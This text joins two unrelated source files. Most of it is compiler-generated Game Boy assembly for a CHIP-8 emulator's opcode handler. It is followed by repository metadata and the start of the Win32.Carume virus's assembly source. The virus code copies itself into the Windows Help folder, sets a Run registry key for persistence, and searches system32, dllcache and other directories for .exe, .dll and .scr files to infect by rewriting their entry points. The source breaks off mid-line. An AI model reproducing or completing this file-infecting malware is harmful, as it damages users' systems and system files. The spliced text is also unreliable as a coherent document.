#_gb8_mem add hl, bc ld c, l ld b, h ld a, (bc) ldhl sp,#11 ;src/main.c:487: switch(_instr_hi >> 4){ ld (hl-), a ld a, (hl) swap a and a, #0x0f ldhl sp,#4 ld (hl), a ld a, #0x0f sub a, (hl) jp C, 00171$ ld c, (hl) ld b, #0x00 ld hl, #00378$ add hl, bc add hl, bc add hl, bc jp (hl) 00378$: jp 00101$ jp 00105$ jp 00106$ jp 00107$ jp 00110$ jp 00113$ jp 00116$ jp 00117$ jp 00118$ jp 00129$ jp 00132$ jp 00133$ jp 00134$ jp 00135$ jp 00136$ jp 00144$ ;src/main.c:488: case GB8_INSTR_SPEC: 00101$: ;src/main.c:489: switch(_instr_lo){ ldhl sp,#11 ld a, (hl) sub a, #0xe0 jr Z,00102$ ldhl sp,#11 ld a, (hl) sub a, #0xee jr Z,00103$ jp 00171$ ;src/main.c:490: case GB8_INSTR_SPEC_CLR_SCRN: 00102$: ;src/main.c:491: gb8_clear_screen(); call _gb8_clear_screen ;src/main.c:492: break; jp 00171$ ;src/main.c:493: case GB8_INSTR_SPEC_RETURN: 00103$: ;src/main.c:494: gb8_pc = gb8_stack[--gb8_stack_p]; ld hl, #_gb8_stack_p dec (hl) ld c, (hl) ld b, #0x00 sla c rl b ld hl, #_gb8_stack add hl, bc ld c, l ld b, h ld e, c ld d, b ld a,(de) ld hl, #_gb8_pc ld (hl+), a inc de ld a, (de) ld (hl), a ;src/main.c:497: break; jp 00171$ ;src/main.c:498: case GB8_INSTR_JUMP_N: 00105$: ;src/main.c:499: gb8_pc = ((_instr_hi & 0x0F) << 8) | _instr_lo; ldhl sp,#10 ld e, (hl) ld d, #0x00 ld a, e and a, #0x0f ld b, a ld c, #0x00 ld c, #0x00 inc hl ld e, (hl) ld d, #0x00 ld a, c or a, e ld hl, #_gb8_pc ld (hl), a ld a, b or a, d inc hl ld (hl), a ;src/main.c:500: break; jp 00171$ ;src/main.c:501: case GB8_INSTR_CALL_N: 00106$: ;src/main.c:502: gb8_stack[gb8_stack_p++] = gb8_pc; ld hl, #_gb8_stack_p ld c, (hl) inc (hl) ld b, #0x00 sla c rl b ld hl, #_gb8_stack add hl, bc ld c, l ld b, h ld hl, #_gb8_pc ld a, (hl+) ld (bc), a inc bc ld a, (hl) ld (bc), a ;src/main.c:503: gb8_pc = ((_instr_hi & 0x0F) << 8) | _instr_lo; ldhl sp,#10 ld e, (hl) ld d, #0x00 ld a, e and a, #0x0f ld b, a ld c, #0x00 ld c, #0x00 inc hl ld e, (hl) ld d, #0x00 ld a, c or a, e ld hl, #_gb8_pc ld (hl), a ld a, b or a, d inc hl ld (hl), a ;src/main.c:504: break; jp 00171$ ;src/main.c:505: case GB8_INSTR_SKIP_EQ_VX_N: 00107$: ;src/main.c:506: if(gb8_v[_instr_hi & 0x0F] == _instr_lo) gb8_pc += 2; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld c, a ldhl sp,#11 ld a, (hl) sub a, c jp NZ,00171$ ld hl, #_gb8_pc ld a, (hl) add a, #0x02 ld (hl+), a ld a, (hl) adc a, #0x00 ld (hl), a ;src/main.c:507: break; jp 00171$ ;src/main.c:508: case GB8_INSTR_SKIP_NE_VX_N: 00110$: ;src/main.c:509: if(gb8_v[_instr_hi & 0x0F] != _instr_lo) gb8_pc += 2; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld c, a ldhl sp,#11 ld a, (hl) sub a, c jp Z,00171$ ld hl, #_gb8_pc ld a, (hl) add a, #0x02 ld (hl+), a ld a, (hl) adc a, #0x00 ld (hl), a ;src/main.c:510: break; jp 00171$ ;src/main.c:511: case GB8_INSTR_SKIP_EQ_VX_VY: 00113$: ;src/main.c:512: if(gb8_v[_instr_hi & 0x0F] == gb8_v[_instr_lo >> 4]) gb8_pc += 2; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld c, a ldhl sp,#11 ld a, (hl) swap a and a, #0x0f add a, #<(_gb8_v) ld b, a ld a, #0x00 adc a, #>(_gb8_v) ld e, b ld d, a ld a,(de) sub a, c jp NZ,00171$ ld hl, #_gb8_pc ld a, (hl) add a, #0x02 ld (hl+), a ld a, (hl) adc a, #0x00 ld (hl), a ;src/main.c:513: break; jp 00171$ ;src/main.c:514: case GB8_INSTR_LOAD_VX_N: 00116$: ;src/main.c:515: gb8_v[_instr_hi & 0x0F] = _instr_lo; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ldhl sp,#11 ld a, (hl) ld (bc), a ;src/main.c:516: break; jp 00171$ ;src/main.c:517: case GB8_INSTR_ADD_VX_N: 00117$: ;src/main.c:518: gb8_v[_instr_hi & 0x0F] += _instr_lo; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ldhl sp,#11 add a, (hl) ld (bc), a ;src/main.c:519: break; jp 00171$ ;src/main.c:520: case GB8_INSTR_ARITH: 00118$: ;src/main.c:521: switch(_instr_lo & 0x0F){ ldhl sp,#11 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld a, c or a, a or a, b jp Z,00119$ ld a, c dec a or a, b jp Z,00120$ ld a, c sub a, #0x02 or a, b jp Z,00121$ ld a, c sub a, #0x03 or a, b jp Z,00122$ ld a, c sub a, #0x04 or a, b jp Z,00123$ ld a, c sub a, #0x05 or a, b jp Z,00124$ ld a, c sub a, #0x06 or a, b jp Z,00125$ ld a, c sub a, #0x07 or a, b jp Z,00126$ ld a, c sub a, #0x0e or a, b jp Z,00127$ jp 00171$ ;src/main.c:522: case GB8_INSTR_ARITH_LOAD_VX_VY: 00119$: ;src/main.c:523: gb8_v[_instr_hi & 0x0F] = gb8_v[_instr_lo >> 4]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld a, l ld d, h ldhl sp,#5 ld (hl+), a ld (hl), d ldhl sp,#11 ld a, (hl) swap a and a, #0x0f add a, #<(_gb8_v) ld c, a ld a, #0x00 adc a, #>(_gb8_v) ld b, a ld a, (bc) ld c, a ldhl sp,#5 ld a, (hl+) ld h, (hl) ld l, a ld (hl), c ;src/main.c:524: break; jp 00171$ ;src/main.c:525: case GB8_INSTR_ARITH_OR_VX_VY: 00120$: ;src/main.c:526: gb8_v[_instr_hi & 0x0F] |= gb8_v[_instr_lo >> 4]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ldhl sp,#5 ld (hl), a ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de ld a, l ld d, h ldhl sp,#2 ld (hl+), a ld (hl), d dec hl ld e, (hl) inc hl ld d, (hl) ld a,(de) inc hl inc hl or a, (hl) ld (bc), a ;src/main.c:527: break; jp 00171$ ;src/main.c:528: case GB8_INSTR_ARITH_AND_VX_VY: 00121$: ;src/main.c:529: gb8_v[_instr_hi & 0x0F] &= gb8_v[_instr_lo >> 4]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ldhl sp,#2 ld (hl), a ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de ld a, l ld d, h ldhl sp,#5 ld (hl+), a ld (hl), d dec hl ld e, (hl) inc hl ld d, (hl) ld a,(de) ldhl sp,#2 and a, (hl) ld (bc), a ;src/main.c:530: break; jp 00171$ ;src/main.c:531: case GB8_INSTR_ARITH_XOR_VX_VY: 00122$: ;src/main.c:532: gb8_v[_instr_hi & 0x0F] ^= gb8_v[_instr_lo >> 4]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ldhl sp,#2 ld (hl), a ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de ld a, l ld d, h ldhl sp,#5 ld (hl+), a ld (hl), d dec hl ld e, (hl) inc hl ld d, (hl) ld a,(de) ldhl sp,#2 xor a, (hl) ld (bc), a ;src/main.c:533: break; jp 00171$ ;src/main.c:534: case GB8_INSTR_ARITH_ADD_VX_VY: 00123$: ;src/main.c:535: gb8_v[0xF] = (((uint16_t)gb8_v[_instr_hi & 0x0F] + gb8_v[_instr_lo >> 4]) > 0x100) ? 1 : 0; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld a, l ld d, h ldhl sp,#2 ld (hl+), a ld (hl), d dec hl ld e, (hl) inc hl ld d, (hl) ld a,(de) inc hl inc hl ld (hl+), a ld (hl), #0x00 ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de inc sp inc sp push hl pop de push de ld a,(de) ld c, a ld b, #0x00 ldhl sp,#5 ld a, (hl+) ld h, (hl) ld l, a add hl, bc ld c, l ld b, h xor a, a cp a, c ld a, #0x01 sbc a, b jr NC,00173$ ld bc, #0x0001 jr 00174$ 00173$: ld bc, #0x0000 00174$: ld hl, #(_gb8_v + 0x000f) ld (hl), c ;src/main.c:536: gb8_v[_instr_hi & 0x0F] += gb8_v[_instr_lo >> 4]; ldhl sp,#(3 - 1) ld e, (hl) inc hl ld d, (hl) ld a,(de) ld c, a pop de push de ld a,(de) add a, c ld c, a dec hl ld a, (hl+) ld h, (hl) ld l, a ld (hl), c ;src/main.c:537: break; jp 00171$ ;src/main.c:538: case GB8_INSTR_ARITH_SUB_VX_VY: 00124$: ;src/main.c:539: gb8_v[0xF] = (((int16_t)gb8_v[_instr_hi & 0x0F] - gb8_v[_instr_lo >> 4]) < 0) ? 0 : 1; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc inc sp inc sp push hl pop de push de ld a,(de) ld c, a ld b, #0x00 ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de ld a, l ld d, h ldhl sp,#2 ld (hl+), a ld (hl), d dec hl ld e, (hl) inc hl ld d, (hl) ld a,(de) inc hl inc hl ld (hl+), a ld (hl), #0x00 dec hl ld e, (hl) inc hl ld d, (hl) ld a, c sub a, e ld e, a ld a, b sbc a, d ld b, a ld c, e bit 7, b jr Z,00175$ ld bc, #0x0000 jr 00176$ 00175$: ld bc, #0x0001 00176$: ld hl, #(_gb8_v + 0x000f) ld (hl), c ;src/main.c:540: gb8_v[_instr_hi & 0x0F] -= gb8_v[_instr_lo >> 4]; pop de push de ld a,(de) ldhl sp,#(3 - 1) ld e, (hl) inc hl ld d, (hl) push af ld a,(de) ld c, a pop af sub a, c ld c, a pop hl push hl ld (hl), c ;src/main.c:541: break; jp 00171$ ;src/main.c:542: case GB8_INSTR_ARITH_SHR_VX_VY: 00125$: ;src/main.c:543: gb8_v[0xF] = gb8_v[_instr_lo >> 4] & 0x01; ld bc, #_gb8_v + 15 ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de inc sp inc sp push hl pop de push de ld a,(de) and a, #0x01 ld (bc), a ;src/main.c:544: gb8_v[_instr_hi & 0x0F] = gb8_v[_instr_lo >> 4] >> 1; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h pop de push de ld a,(de) srl a ld (bc), a ;src/main.c:545: break; jp 00171$ ;src/main.c:546: case GB8_INSTR_ARITH_SUB_VY_VX: 00126$: ;src/main.c:547: gb8_v[0xF] = (((int16_t)gb8_v[_instr_lo >> 4] - gb8_v[_instr_hi & 0x0F]) < 0) ? 0 : 1; ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de inc sp inc sp push hl pop de push de ld a,(de) ldhl sp,#2 ld (hl+), a ld (hl), #0x00 ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld a, l ld d, h ldhl sp,#5 ld (hl+), a ld (hl), d dec hl ld e, (hl) inc hl ld d, (hl) ld a,(de) ld c, a ld b, #0x00 ldhl sp,#(3 - 1) ld e, (hl) inc hl ld d, (hl) ld a, e sub a, c ld e, a ld a, d sbc a, b ld b, a ld c, e bit 7, b jr Z,00177$ ld bc, #0x0000 jr 00178$ 00177$: ld bc, #0x0001 00178$: ld hl, #(_gb8_v + 0x000f) ld (hl), c ;src/main.c:548: gb8_v[_instr_hi & 0x0F] = gb8_v[_instr_lo >> 4] - gb8_v[_instr_hi & 0x0F]; pop de push de ld a,(de) ldhl sp,#(6 - 1) ld e, (hl) inc hl ld d, (hl) push af ld a,(de) ld c, a pop af sub a, c ld c, a dec hl ld a, (hl+) ld h, (hl) ld l, a ld (hl), c ;src/main.c:549: break; jp 00171$ ;src/main.c:550: case GB8_INSTR_ARITH_SHL_VX_VY: 00127$: ;src/main.c:551: gb8_v[0xF] = gb8_v[_instr_lo >> 4] >> 7; ld bc, #_gb8_v + 15 ldhl sp,#11 ld a, (hl) swap a and a, #0x0f ld e, a ld d, #0x00 ld hl, #_gb8_v add hl, de inc sp inc sp push hl pop de push de ld a,(de) rlca and a, #0x01 ld (bc), a ;src/main.c:552: gb8_v[_instr_hi & 0x0F] = gb8_v[_instr_lo >> 4] << 1; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h pop de push de ld a,(de) add a, a ld (bc), a ;src/main.c:555: break; jp 00171$ ;src/main.c:556: case GB8_INSTR_SKIP_NE_VX_VY: 00129$: ;src/main.c:557: if(gb8_v[_instr_hi & 0x0F] != gb8_v[_instr_lo >> 4]) gb8_pc += 2; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld c, a ldhl sp,#11 ld a, (hl) swap a and a, #0x0f add a, #<(_gb8_v) ld b, a ld a, #0x00 adc a, #>(_gb8_v) ld e, b ld d, a ld a,(de) sub a, c jp Z,00171$ ld hl, #_gb8_pc ld a, (hl) add a, #0x02 ld (hl+), a ld a, (hl) adc a, #0x00 ld (hl), a ;src/main.c:558: break; jp 00171$ ;src/main.c:559: case GB8_INSTR_LOAD_I_N: 00132$: ;src/main.c:560: gb8_i = ((_instr_hi & 0x0F) << 8) | _instr_lo; ldhl sp,#10 ld e, (hl) ld d, #0x00 ld a, e and a, #0x0f ld b, a ld c, #0x00 ld c, #0x00 inc hl ld e, (hl) ld d, #0x00 ld a, c or a, e ld hl, #_gb8_i ld (hl), a ld a, b or a, d inc hl ld (hl), a ;src/main.c:561: break; jp 00171$ ;src/main.c:562: case GB8_INSTR_JMP_N_V0: 00133$: ;src/main.c:563: gb8_pc = (((_instr_hi & 0x0F) << 8) | _instr_lo) + gb8_v[0]; ldhl sp,#10 ld e, (hl) ld d, #0x00 ld a, e and a, #0x0f ld b, a ld c, #0x00 ld c, #0x00 inc hl ld e, (hl) ld d, #0x00 ld a, c or a, e ld c, a ld a, b or a, d ld b, a ld a, (#_gb8_v + 0) ldhl sp,#0 ld (hl+), a ld (hl), #0x00 pop hl push hl add hl, bc ld a, l ld d, h ld hl, #_gb8_pc ld (hl+), a ld (hl), d ;src/main.c:564: break; jp 00171$ ;src/main.c:565: case GB8_INSTR_RND_VX_N: 00134$: ;src/main.c:566: gb8_v[_instr_hi & 0x0F] = gb8_rnd() & _instr_lo; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h push bc call _gb8_rnd ld a, e pop bc ldhl sp,#11 and a, (hl) ld (bc), a ;src/main.c:567: break; jp 00171$ ;src/main.c:568: case GB8_INSTR_DRAW_SPR: 00135$: ;src/main.c:569: gb8_draw_sprite(gb8_v[_instr_hi & 0x0F], gb8_v[_instr_lo >> 4], _instr_lo & 0x0F); ldhl sp,#11 ld a, (hl) and a, #0x0f ldhl sp,#0 ld (hl), a ldhl sp,#11 ld a, (hl) swap a and a, #0x0f add a, #<(_gb8_v) ld c, a ld a, #0x00 adc a, #>(_gb8_v) ld b, a ld a, (bc) ldhl sp,#2 ld (hl), a ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld b, a ldhl sp,#0 ld a, (hl) push af inc sp inc hl inc hl ld a, (hl) push af inc sp push bc inc sp call _gb8_draw_sprite add sp, #3 ;src/main.c:570: break; jp 00171$ ;src/main.c:571: case GB8_INSTR_SKIP_KEY: 00136$: ;src/main.c:572: switch(_instr_lo){ ldhl sp,#11 ld a, (hl) sub a, #0x9e jr Z,00137$ ldhl sp,#11 ld a, (hl) sub a, #0xa1 jr Z,00140$ jp 00171$ ;src/main.c:573: case GB8_INSTR_SKIP_KEY_PRSD: 00137$: ;src/main.c:574: if(gb8_get_key(gb8_v[_instr_hi & 0x0F])) gb8_pc += 2; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) push af inc sp call _gb8_get_key inc sp ld a, e or a, a jp Z, 00171$ ld hl, #_gb8_pc ld a, (hl) add a, #0x02 ld (hl+), a ld a, (hl) adc a, #0x00 ld (hl), a ;src/main.c:575: break; jp 00171$ ;src/main.c:576: case GB8_INSTR_SKIP_KEY_NOT_PRSD: 00140$: ;src/main.c:577: if(!(gb8_get_key(gb8_v[_instr_hi & 0x0F]))) gb8_pc += 2; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) push af inc sp call _gb8_get_key inc sp ld a, e or a, a jp NZ, 00171$ ld hl, #_gb8_pc ld a, (hl) add a, #0x02 ld (hl+), a ld a, (hl) adc a, #0x00 ld (hl), a ;src/main.c:580: break; jp 00171$ ;src/main.c:581: case GB8_INSTR_SPEC2: 00144$: ;src/main.c:582: switch(_instr_lo){ ldhl sp,#11 ld a, (hl) sub a, #0x07 jp Z,00145$ ldhl sp,#11 ld a, (hl) sub a, #0x0a jp Z,00146$ ldhl sp,#11 ld a, (hl) sub a, #0x15 jp Z,00152$ ldhl sp,#11 ld a, (hl) sub a, #0x18 jp Z,00153$ ldhl sp,#11 ld a, (hl) sub a, #0x1e jp Z,00154$ ldhl sp,#11 ld a, (hl) sub a, #0x29 jp Z,00155$ ldhl sp,#11 ld a, (hl) sub a, #0x33 jp Z,00156$ ldhl sp,#11 ld a, (hl) sub a, #0x55 jp Z,00215$ ldhl sp,#11 ld a, (hl) sub a, #0x65 jp Z,00217$ jp 00171$ ;src/main.c:583: case GB8_INSTR_SPEC2_LOAD_VX_DELAY: 00145$: ;src/main.c:584: gb8_v[_instr_hi & 0x0F] = gb8_delay_timer; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld hl, #_gb8_delay_timer ld a, (hl) ld (bc), a ;src/main.c:585: break; jp 00171$ ;src/main.c:586: case GB8_INSTR_SPEC2_WAIT_KEY_VX: 00146$: ;src/main.c:587: { uint8_t _key, _any_key_pressed = 0; ldhl sp,#7 ld (hl), #0x00 ;src/main.c:588: for(_key = 0; _key < 16; _key++){ ldhl sp,#0 ld (hl), #0x00 ld b, #0x00 00163$: ;src/main.c:589: _any_key_pressed |= gb8_get_key(_key); push bc push bc inc sp call _gb8_get_key inc sp ld a, e pop bc ldhl sp,#7 or a, (hl) ld (hl), a ;src/main.c:590: if(gb8_get_key(_key)){ push bc push bc inc sp call _gb8_get_key inc sp pop bc ld a, e or a, a jr Z,00164$ ;src/main.c:591: gb8_v[_instr_hi & 0x0F] = _key; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ldhl sp,#0 ld a, (hl) ld (bc), a ;src/main.c:592: break; jr 00149$ 00164$: ;src/main.c:588: for(_key = 0; _key < 16; _key++){ inc b ldhl sp,#0 ld (hl), b ld a, b sub a, #0x10 jp C, 00163$ 00149$: ;src/main.c:595: if(!_any_key_pressed) gb8_pc -= 2; ldhl sp,#7 ld a, (hl) or a, a jp NZ, 00171$ ld hl, #_gb8_pc + 1 dec hl ld e, (hl) inc hl ld d, (hl) dec de dec de dec hl ld (hl), e inc hl ld (hl), d ;src/main.c:597: break; jp 00171$ ;src/main.c:598: case GB8_INSTR_SPEC2_LOAD_DELAY_VX: 00152$: ;src/main.c:599: gb8_delay_timer = gb8_v[_instr_hi & 0x0F]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld hl, #_gb8_delay_timer ld (hl), a ;src/main.c:600: break; jp 00171$ ;src/main.c:601: case GB8_INSTR_SPEC2_LOAD_SOUND_VX: 00153$: ;src/main.c:602: gb8_sound_timer = gb8_v[_instr_hi & 0x0F]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld hl, #_gb8_sound_timer ld (hl), a ;src/main.c:603: break; jp 00171$ ;src/main.c:604: case GB8_INSTR_SPEC2_ADD_I_VX: 00154$: ;src/main.c:605: gb8_i += gb8_v[_instr_hi & 0x0F]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld c, a ld b, #0x00 ld hl, #_gb8_i ld a, (hl) add a, c ld (hl+), a ld a, (hl) adc a, b ld (hl), a ;src/main.c:606: break; jp 00171$ ;src/main.c:607: case GB8_INSTR_SPEC2_LOAD_I_SPR_VX: 00155$: ;src/main.c:608: gb8_i = 5 * gb8_v[_instr_hi & 0x0F]; ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 ld hl, #_gb8_v add hl, bc ld c, l ld b, h ld a, (bc) ld c, a ld b, #0x00 ld l, c ld h, b add hl, hl add hl, hl add hl, bc ld a, l ld d, h ld hl, #_gb8_i ld (hl+), a ld (hl), d ;src/main.c:609: break; jp 00171$ ;src/main.c:610: case GB8_INSTR_SPEC2_BCD_I_VX: 00156$: ;src/main.c:611: gb8_bcd_vx(_instr_hi & 0x0F); ldhl sp,#10 ld a, (hl) and a, #0x0f push af inc sp call _gb8_bcd_vx inc sp ;src/main.c:612: break; jp 00171$ ;src/main.c:614: for(uint8_t i = 0; i < ((_instr_hi & 0x0F) + 1); i++) gb8_mem[gb8_i + i] = gb8_v[i]; 00215$: ldhl sp,#9 ld (hl), #0x00 00166$: ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 inc bc inc sp inc sp push bc dec hl ld c, (hl) ld b, #0x00 ldhl sp,#0 ld a, c sub a, (hl) inc hl ld a, b sbc a, (hl) ld a, b ld d, a ld e, (hl) bit 7, e jr Z,00411$ bit 7, d jr NZ,00412$ cp a, a jr 00412$ 00411$: bit 7, d jr Z,00412$ scf 00412$: jp NC, 00158$ ld a, c ld hl, #_gb8_i add a, (hl) ld c, a ld a, b inc hl adc a, (hl) ld b, a ld hl, #_gb8_mem add hl, bc ld a, l ld d, h ldhl sp,#2 ld (hl+), a ld (hl), d ld de, #_gb8_v ldhl sp,#9 ld l, (hl) ld h, #0x00 add hl, de ld c, l ld b, h ld a, (bc) ld c, a ldhl sp,#2 ld a, (hl+) ld h, (hl) ld l, a ld (hl), c ldhl sp,#9 inc (hl) jp 00166$ 00158$: ;src/main.c:615: gb8_i += (_instr_hi & 0x0F) + 1; pop bc push bc ld hl, #_gb8_i ld a, (hl) add a, c ld (hl+), a ld a, (hl) adc a, b ld (hl), a ;src/main.c:616: break; jp 00171$ ;src/main.c:618: for(uint8_t i = 0; i < ((_instr_hi & 0x0F) + 1); i++) gb8_v[i] = gb8_mem[gb8_i + i]; 00217$: ldhl sp,#8 ld (hl), #0x00 00169$: ldhl sp,#10 ld c, (hl) ld b, #0x00 ld a, c and a, #0x0f ld c, a ld b, #0x00 inc bc inc sp inc sp push bc dec hl dec hl ld c, (hl) ld b, #0x00 ldhl sp,#0 ld a, c sub a, (hl) inc hl ld a, b sbc a, (hl) ld a, b ld d, a ld e, (hl) bit 7, e jr Z,00413$ bit 7, d jr NZ,00414$ cp a, a jr 00414$ 00413$: bit 7, d jr Z,00414$ scf 00414$: jp NC, 00160$ ld de, #_gb8_v ldhl sp,#8 ld l, (hl) ld h, #0x00 add hl, de ld a, l ld d, h ldhl sp,#2 ld (hl+), a ld (hl), d ld a, c ld hl, #_gb8_i add a, (hl) ld c, a ld a, b inc hl adc a, (hl) ld b, a ld hl, #_gb8_mem add hl, bc ld c, l ld b, h ld a, (bc) ld c, a ldhl sp,#2 ld a, (hl+) ld h, (hl) ld l, a ld (hl), c ldhl sp,#8 inc (hl) jp 00169$ 00160$: ;src/main.c:619: gb8_i += (_instr_hi & 0x0F) + 1; pop bc push bc ld hl, #_gb8_i ld a, (hl) add a, c ld (hl+), a ld a, (hl) adc a, b ld (hl), a ;src/main.c:623: } 00171$: ;src/main.c:624: } add sp, #12 ret .area _CODE .area _CABS (ABS)
Win32/Win32.Carume/Win32.Carume.asm
fengjixuchui/Family
3
9803
<filename>Win32/Win32.Carume/Win32.Carume.asm ; ; W32.Carume ; ; Written by RadiatioN @ XERO VX and hacking group in February-March 2006 ; ; THIS FILE HAS NO COPYRIGHTS! I AM NOT RESPONSIBLE FOR ANY DAMAGE WITH THAT CODE! ; ; Compile with masm 8.2 ; ; greetings to vBx and SkyOut ; ; What does this Code? ; - Copy itself to %WINDIR%\Help\WinHelpCenter.exe ; - Adds a new registry entry for autostarting itself ; - Searches in ; %WINDIR%\ServicePackFiles\i386\ ; %WINDIR%\ ; %WINDIR%\system32\ ; %WINDIR%\system32\dllcache\ ; for file extension files like ; .exe ; .dll ; .scr ; to infect it ; - infecting file by changing the RVA entry point of the file ; .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc include kernel32.inc include advapi32.inc includelib user32.lib includelib kernel32.lib includelib advapi32.lib .data ; Directories to infect szDirectory db "\ServicePackFiles\i386\", 0, "\", 0, "\system32\", 0, "\system32\dllcache\", 0 dwDirPos dword 0 dwDirCount dword 0 ;virus name szVirName db "W32.Carume",0 ; file extensions to find szFileExtension db ".exe", 0, ".dll", 0, ".scr", 0 dwFileExPos dword 0 dwFileExCount dword 0 ; Rest of variables szWinDir db 260 dup(0) szDirDest db 260 dup(0) szWildcard db '*',0 szNewDir db "\Help\WinHelpCenter.exe",0 szKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0 szValueName db "WinHelpCenter",0 hSearch dword 0 dwRetVal dword 0 check dword 0 dwDamnStuff dword 0 dwStartOfPE dword 0 dwEntryPoint dword 0 dwCount dword 0 hKey dword 0 ; WIN32_FIND_DATA structure dwFileAttributes dword 0 ;FILETIME structure ftCreationTime dword 0 ftCreationTime2 dword 0 ;FILETIME structure ftLastAccessTime dword 0 ftLastAccessTime2 dword 0 ;FILETIME structure ftLastWriteTime dword 0 ftLastWriteTime2 dword 0 nFileSizeHigh dword 0 nFileSizeLow dword 0 dwReserved0 dword 0 dwReserved1 dword 0 cFileName db 260 dup(0) cAlternateFileName db 14 dup(0) .code start: ;Copy File to %WINDIR%\Help\WinHelpCenter.exe invoke GetWindowsDirectory, offset szWinDir, 260 push offset szDirDest push offset szNewDir push offset szWinDir call StrCatDest invoke GetCommandLine push eax call RemoveFirstLast invoke CopyFile, eax, offset szDirDest, TRUE invoke RegCreateKey, HKEY_LOCAL_MACHINE, offset szKey, offset hKey invoke lstrlen, offset szDirDest invoke RegSetValueEx, hKey, offset szValueName, 0, REG_SZ, offset szDirDest, eax NextDir: ;go through directorys and infect the files push offset dwDirPos push offset szDirectory call GetNextString inc dwDirCount mov esi, eax push offset szDirDest push esi push offset szWinDir call StrCatDest push offset szDirDest push offset szWildcard push offset szDirDest call StrCatDest invoke FindFirstFile, offset szDirDest, offset dwFileAttributes mov hSearch, eax nextfile: push offset dwFileExPos push offset szFileExtension call GetNextString inc dwFileExCount push eax push offset cFileName call InStr2 cmp eax, 1 je Infect cmp dwFileExCount, 